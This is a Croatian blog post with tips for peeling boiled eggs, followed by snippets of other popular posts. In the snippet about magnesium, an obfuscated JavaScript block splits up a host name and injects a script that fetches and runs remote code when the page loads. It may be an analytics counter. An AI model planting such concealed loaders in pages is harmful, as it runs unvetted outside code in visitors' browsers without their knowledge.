KAKO BRZO I JEDNOSTAVNO JAJA ODVOJITI OD LJUSKE?





Kako brzo i jednostavno jaja odvojiti od ljuske?




Sigurno vam se barem jednom dogodilo da ste, umjesto da jednostavno ogulite kuhano jaje, završili s rastrganim bjelanjkom i ljuskom koja se uporno lijepi za svaki dio. Bez obzira na to je li riječ o uskrsnom doručku, salati ili brzom obroku – guljenje kuhanih jaja često zna biti neočekivano naporno. U teoriji jednostavno, a u praksi prava mala borba.




Limun u vodi i hlađenje

Jedan od provjerenih trikova jest dodati nekoliko kapi limunovog soka ili mali komadić limuna u vodu u kojoj kuhate jaja. Limun pomaže da se bjelanjak lakše odvaja od ljuske. Nakon kuhanja jaja odmah stavite u hladnu vodu ili pod mlaz hladne vode. Hlađenje stvara razliku između bjelanjka i ljuske što olakšava guljenje i smanjuje rizik od raspadanja jaja.



Protresanje lonca i početak guljenja

Još jedan koristan trik jest, nakon što jaja stavite u hladnu vodu, lagano protresati lonac. Time se ljuska ravnomjerno napukne, a opna se odvoji od bjelanjka što znatno olakšava guljenje. Početak guljenja s donje strane jaja, gdje se nalazi zračni džep, često je najlakši i najefikasniji.



Dodatni savjet – kuhanje starijih jaja

Ako želite dodatno olakšati guljenje, birajte jaja koja su nekoliko dana starija, a ne svježe iz trgovine. Svježa jaja imaju manji zračni džep i ljuska im se češće lijepi, a starija jaja puno lakše popuštaju i odvajaju se od bjelanjka.

 


Brzo i bez stresa

Uz ove male trikove – limun u vodi, hlađenje, lagano protresanje i odabir starijih jaja – guljenje kuhanih jaja postaje brz i bezbolan posao. Više nećete morati gubiti živce na svaki obrok koji uključuje jaja, a priprema doručka ili salate bit će jednostavnija i ugodnija.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više